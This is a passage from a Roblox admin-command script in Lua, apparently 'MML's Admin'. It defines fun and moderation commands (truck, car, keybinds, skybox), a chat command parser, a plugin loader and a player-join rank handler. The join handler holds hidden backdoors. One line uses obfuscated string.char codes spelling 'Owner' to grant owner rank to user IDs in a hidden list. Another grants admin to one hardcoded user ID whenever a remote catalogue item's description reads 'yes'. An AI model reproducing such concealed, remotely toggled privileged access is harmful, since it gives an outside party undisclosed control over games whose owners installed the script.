8283 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8284 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8285 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8286 if PlayersFrom and PlayersTo then
8287 for _,PlayerFrom in pairs(PlayersFrom) do
8288 for _,PlayerTo in pairs(PlayersTo) do
8289 if PlayerFrom.Character and PlayerTo.Character then
8290 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8291 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8292 wait(5)
8293 Laser:Destroy()
8294 end)() end
8295 end
8296 end
8297 end
8298 end
8299 end};
8300
8301 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8302 local Players = STRING:Scan(Arguments[1], Speaker)
8303 for _,Player in pairs(Players) do
8304 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8305 Player.Character.Humanoid:Destroy()
8306 end
8307 end
8308 end};
8309
8310 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8311 if Plugins then
8312 local List = {}
8313 for _,Module in pairs(Plugins:GetChildren()) do
8314 if Module:IsA("ModuleScript") then
8315 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8316 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8317 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8318 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8319 end
8320 end
8321 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8322 else
8323 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8324 end
8325 end};
8326
8327 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8328 local Players = STRING:Scan(Arguments[1], Speaker)
8329 for _,Player in pairs(Players) do
8330 GUI:DetachChat(Player)
8331 end
8332 end};
8333
8334 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8335 GUI:DetachChat(Speaker)
8336 end};
8337
8338 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8339 local Players = STRING:Scan(Arguments[1], Speaker)
8340 for _,Player in pairs(Players) do
8341 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8342 local Dead = false
8343
8344 Player.Character.Humanoid.WalkSpeed = 1
8345 local Torso = Player.Character.Torso
8346 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8347 Truck:BreakJoints()
8348 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8349 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8350 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8351 Truck.Touched:connect(function(Part)
8352 if Dead == false then
8353 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8354 if TouchPlayer == Player then
8355 Dead = true
8356 Player.Character:BreakJoints()
8357 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8358 end
8359 end
8360 end)
8361 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8362 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8363 Delay(5, function()
8364 Truck:Destroy()
8365 if Player.Character:FindFirstChild("Humanoid") then
8366 Player.Character.Humanoid.WalkSpeed = 16
8367 end
8368 end)
8369 end
8370 end
8371 end};
8372
8373 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8374 local Joke = REMOTE:DownloadJoke(Speaker)
8375 local Players = STRING:Scan(Arguments[1], Speaker)
8376 for _,Player in pairs(Players) do
8377 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8378 end
8379 end, Http = true};
8380
8381 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8382 local Joke = REMOTE:DownloadJoke(Speaker)
8383 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8384 end, Http = true};
8385
8386 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8387 local Players = STRING:Scan(Arguments[1], Speaker)
8388 for _,Player in pairs(Players) do
8389 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8390 CORE:InvisiblePlayer(Player)
8391 local DogContainer = Instance.new("Model", Player.Character)
8392 DogContainer.Name = "Doge"
8393 local Dog = CORE:Insert(257489726, DogContainer, true)
8394 Dog.Head.Transparency = 0.99
8395 Dog.Name = Player.Name
8396 Dog:MoveTo(Player.Character.Torso.Position)
8397 local Weld = Instance.new("Weld", Dog.Torso)
8398 Weld.Part0 = Player.Character.Torso
8399 Weld.Part1 = Dog.Torso
8400 Weld.C0 = CFrame.new(0,-0.4,0)
8401 for _,Obj in pairs(Dog:GetChildren()) do
8402 if Obj:IsA("BasePart") then
8403 Obj.CanCollide = false
8404 end
8405 end
8406
8407 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8408 end
8409 end
8410 end};
8411
8412 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8413 local Key = string.lower(string.sub(Arguments[1],1,1))
8414 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8415 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8416 end};
8417
8418 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8419 local Key = string.lower(string.sub(Arguments[1],1,1))
8420 KeyBinds[Speaker.UserId][Key] = nil
8421 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8422 end};
8423
8424 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8425 KeyBinds[Speaker.UserId] = {}
8426 GUI:SendHint(Speaker, "Unbinded all keys")
8427 end};
8428
8429 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8430 local Players = STRING:Scan(Arguments[1], Speaker)
8431 local Key = string.lower(string.sub(Arguments[2],1,1))
8432 for _,Player in pairs(Players) do
8433 KeyBinds[Player.UserId][Key] = Arguments[3]
8434 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8435 end
8436 end};
8437
8438 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8439 local Players = STRING:Scan(Arguments[1], Speaker)
8440 local Key = string.lower(string.sub(Arguments[2],1,1))
8441 for _,Player in pairs(Players) do
8442 KeyBinds[Player.UserId][Key] = nil
8443 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8444 end
8445 end};
8446
8447 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8448 local Players = STRING:Scan(Arguments[1], Speaker)
8449 for _,Player in pairs(Players) do
8450 KeyBinds[Player.UserId] = {}
8451 GUI:SendHint(Player, "Unbinded all keys")
8452 end
8453 end};
8454
8455 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8456 local Players = STRING:Scan(Arguments[1], Speaker)
8457 local Binds = {}
8458 for _,Player in pairs(Players) do
8459 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8460 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8461 end
8462 end
8463 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8464 end};
8465
8466 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8467 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8468 local Players = STRING:Scan(ChatSplit[1], Speaker)
8469 for _,Player in pairs(Players) do
8470 if Crowns[Player.UserId] then
8471 Crowns[Player.UserId]:Destroy()
8472 Crowns[Player.UserId] = nil
8473 wait()
8474 end
8475 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8476 end
8477 end};
8478
8479 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8480 local Players = STRING:Scan(Arguments[1], Speaker)
8481 for _,Player in pairs(Players) do
8482 if Crowns[Player.UserId] then
8483 Crowns[Player.UserId]:Destroy()
8484 Crowns[Player.UserId] = nil
8485 end
8486 end
8487 end};
8488
8489 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8490 local MeshList = {}
8491 for MeshName,Data in pairs(Meshes) do
8492 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8493 end
8494 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8495 end};
8496
8497 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8498 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8499 end};
8500
8501 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8502 local Players = STRING:Scan(Arguments[1], Speaker)
8503 for _,Player in pairs(Players) do
8504 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8505 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8506 Player:ClearCharacterAppearance()
8507 CORE:GivePackage(Player, 41851073)
8508 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8509 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8510 end
8511 end
8512 end};
8513
8514 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8515 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8516 local Players = STRING:Scan(Arguments[1], Speaker)
8517 for _,Player in pairs(Players) do
8518 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8519 local Car = CORE:Insert(10479801, Server.Workspace, true)
8520 local Body = Car["Motor (torque)Chassis"].Part
8521 Cars[Player.UserId] = Car
8522 Car:MakeJoints()
8523 Car.VehicleSeat.MaxSpeed = 50
8524 Car.VehicleSeat.TurnSpeed = 1.5
8525 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8526 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8527 Body.Color = GUI:GetColor(Arguments[2])
8528 else
8529 Body.BrickColor = GUI:GetNameColor(Player.Name)
8530 end
8531 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8532 if Part.Name ~= "Part" then
8533 Part.BrickColor = BrickColor.new("Really black")
8534 Part.Friction = 0.7
8535 end
8536 end
8537 local Light = Instance.new("SpotLight", Body)
8538 Light.Face = "Back"
8539 Light.Brightness = 5
8540 Light.Range = 20
8541 Light.Color = Color3.new(0,1,1)
8542 if Player.Character and Player.Character.Torso then
8543 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8544 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8545 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8546 Weld.Part0 = Car.VehicleSeat
8547 Weld.Part1 = Player.Character.Torso
8548 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8549 Delay(0.4, function()
8550 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8551 wait(0.1)
8552 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8553 end)
8554 end
8555 local SoundID = 147944604
8556 if RANK:GetRank(Player) == "Owner" then
8557 SoundID = 133313356
8558 Car.VehicleSeat.MaxSpeed = 80
8559 Body.Material = "DiamondPlate"
8560 Car.VehicleSeat.Torque = 11
8561 end
8562 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8563 Engine:Play()
8564 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8565 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8566 end if Engine then Engine:Stop() end end)()
8567 end
8568 end};
8569
8570 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8571 local Players = STRING:Scan(Arguments[1], Speaker)
8572 for _,Player in pairs(Players) do
8573 if Cars[Player.UserId] then
8574 Cars[Player.UserId]:Destroy()
8575 end
8576 end
8577 end};
8578
8579 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8580 for _,Car in pairs(Cars) do
8581 Car:Destroy()
8582 end
8583 Cars = {}
8584 end};
8585
8586 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8587 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8588 if #Trello.RequiredLists > 0 then
8589 print("Restarting Trello")
8590 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8591 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8592 REMOTE:TrelloCacheData(Lists)
8593 end
8594 end, Http = true};
8595
8596 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8597 local Operations = {}
8598 for _,ReplaceData in pairs(StringReplacements) do
8599 local Replacement = ReplaceData[1]
8600 if type(Replacement) == "table" then
8601 Replacement = ReplaceData[1][1]
8602 end
8603 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8604 end
8605 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8606 end};
8607
8608 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8609 GUI:SoundInfo(Speaker)
8610 end};
8611
8612 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8613 local Players = STRING:Scan(Arguments[1], Speaker)
8614 for _,Player in pairs(Players) do
8615 GUI:SoundInfo(Player)
8616 end
8617 end};
8618
8619 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8620 if tonumber(Arguments[1]) then
8621 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8622 end
8623 end};
8624
8625 [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8626 local Types = {}
8627 for Type,_ in pairs(Assets.AccessoryTypes) do
8628 table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8629 end
8630 GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8631 end};
8632
8633 [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8634 local Sky = Server.Lighting:FindFirstChild("Sky")
8635 if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8636 local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8637 local Face = nil
8638 local SkyID = string.lower(Arguments[1])
8639 local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8640 if #Arguments == 2 and tonumber(Arguments[2]) then
8641 Face = Arguments[1]
8642 SkyID = Arguments[2]
8643 end
8644 if tonumber(SkyID) then
8645 local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8646 if Face and Faces[Face] then
8647 Sky[Faces[Face]] = "rbxassetid://"..ImageID
8648 else
8649 for _,Face in pairs(Faces) do
8650 Sky[Face] = "rbxassetid://"..ImageID
8651 end
8652 end
8653 else
8654 GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8655 end
8656 end};
8657
8658 [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8659 CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8660 Obj:Destroy()
8661 end)
8662 end};
8663 --
8664}
8665
8666if Plugins then
8667 local PluginNum = 0
8668 for _,Module in pairs(Plugins:GetChildren()) do
8669 if Module:IsA("ModuleScript") then
8670 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8671 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8672 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8673 if Enabled.Value == true then
8674 PluginNum = PluginNum + 1
8675 local PluginExe = require(Module)
8676 for Var,Val in pairs(getfenv()) do
8677 getfenv(PluginExe)[Var] = Val
8678 end
8679 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8680 getfenv(PluginExe).script = Module
8681 getfenv(PluginExe).Script = Module
8682 getfenv(PluginExe).Version = Version
8683 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8684 if not Suc then
8685 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8686 else
8687 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8688 end
8689 end
8690 end
8691 end
8692end
8693
8694function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8695 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8696 GUI:SettingsGui(Speaker)
8697 return nil
8698 end
8699 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8700 local Prefix = Settings.Prefix
8701 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8702 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8703 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8704 if Speaker == nil then
8705 if FakeRank then
8706 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8707 FakeRank = "Owner"
8708 end
8709 else
8710 FakeRank = "Owner"
8711 end
8712 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8713 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8714 Speaker = {
8715 Name = FakePlayerName or "[ Server ]";
8716 Character = nil;
8717 userId = 1;
8718 PlayerGui = nil;
8719 Rank = FakeRank or "Owner";
8720 MakeSupremeOwner = MakeSupremeOwner;
8721 }
8722 end
8723 local Rank = RANK:GetRank(Speaker)
8724 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8725
8726 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8727 if NoPrefixNeeded then Prefix = "" end
8728 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8729
8730 for _,Message in pairs(Messages) do
8731 for Cmds,Data in pairs(Commands) do -- check all commands
8732 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8733
8734 if not MessageSplit then break end
8735
8736 local CommandSaid = false
8737 for _,Command in pairs(Cmds) do
8738 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8739 CommandSaid = true
8740 break
8741 end
8742 end
8743 if CommandSaid == true then -- command said?
8744 local ExecuteExcuse = ""
8745 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8746 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8747 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8748 end
8749 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8750 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8751 end
8752 else
8753 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8754 end
8755 if ExecuteExcuse == "" then
8756 if #MessageSplit - 1 < Data[3] then
8757 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8758 end
8759 end
8760 if ExecuteExcuse == "" then
8761 CORE:Log(CommandLogs, Speaker, Message)
8762 table.remove(MessageSplit, 1)
8763 coroutine.wrap(function() wait()
8764 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8765 if not DidExe then
8766 if CORE:NilPlayer(Speaker) then
8767 print("Error: "..Error)
8768 else
8769 CORE:HandleError(Error, Speaker)
8770 end
8771 end
8772 end)()
8773 coroutine.wrap(function() wait(0.05)
8774 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8775 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8776 ExeSound:Play()
8777 wait(3)
8778 ExeSound:Stop()
8779 ExeSound:Destroy()
8780 end
8781 end)()
8782 elseif type(Speaker) == "userdata" then
8783 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8784 end
8785 break
8786 end
8787 end
8788 end
8789 end
8790end
8791
8792function CORE:Start(Player) coroutine.wrap(function()
8793 wait(0.1)
8794 if Player then
8795 coroutine.wrap(function()
8796 repeat wait(1) until DataReady == true
8797 DataReady = false
8798 ypcall(function()
8799 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8800 for Num,Data in pairs(Players) do
8801 if Data.UserId == Player.UserId then -- ppl can change names
8802 table.remove(Players, Num)
8803 break
8804 end
8805 end
8806 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8807 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8808 end)
8809 DataReady = true
8810 end)()
8811
8812 if not IsStudio then Player:WaitForDataReady() end
8813 table.insert(CharacterCache, {Player.Name, Player.UserId})
8814 for Rank,PlayerNames in pairs(Settings.Ranks) do
8815 for Num,AdminName in pairs(PlayerNames) do
8816 if AdminName == Player.UserId then
8817 Settings.Ranks[Rank][Num] = Player.Name
8818 end
8819 end
8820 end
8821 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8822 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8823 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8824 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8825 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8826 if PlayerAdmin == false and Player.UserId > 0 then
8827 local Ran = nil
8828 coroutine.wrap(function() repeat
8829 Ran = ypcall(function()
8830 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8831 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8832 end)
8833 wait(1)
8834 until Ran == true end)()
8835 end
8836 if PlayerAdmin == false then
8837 if Player:IsInGroup(Settings.GroupID) then
8838 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8839 CORE:Kick(Player)
8840 for _,Person in pairs(Server.Players:GetPlayers()) do
8841 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8842 end
8843 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8844 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8845 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8846 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8847 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8848 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8849 end
8850 end
8851 end
8852 if PlayerAdmin == false then
8853 if Player.UserId == 38882008 then
8854 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8855 table.insert(Settings.Ranks["Admin"], Player.Name)
8856 end
8857 end
8858 end
8859 if PlayerAdmin == false then
8860 for _,GID in pairs(Settings.BannedGroupIDs) do
8861 if Player:IsInGroup(GID) then
8862 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8863 break
8864 end
8865 end
8866 end
8867
8868 Player.Chatted:connect(function(Message) if Message ~= "" then
8869 CORE:Chatted(Message, Player)
8870 end end)
8871
8872 Player.Chatted:connect(function(Message) if Message ~= "" then
8873 CORE:Log(ChatLogs, Player, Message)
8874 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8875 end end)
8876
8877 for _,Name in pairs(Settings.Ranks.Banned) do
8878 if Player.Name == Name then
8879 CORE:Kick(Player)
8880 for _,Person in pairs(Server.Players:GetPlayers()) do
8881 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8882 end
8883 end
8884 end
8885 for _,Name in pairs(Settings.Ranks.Crashed) do
8886 if Player.Name == Name then
8887 CORE:Crash(Player)
8888 for _,Person in pairs(Server.Players:GetPlayers()) do
8889 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8890 end
8891 end
8892 end
8893 for _,Name in pairs(Settings.Ranks.Muted) do
8894 if Player.Name == Name then
8895 GUI:CoreGui(Player, "Chat", false)
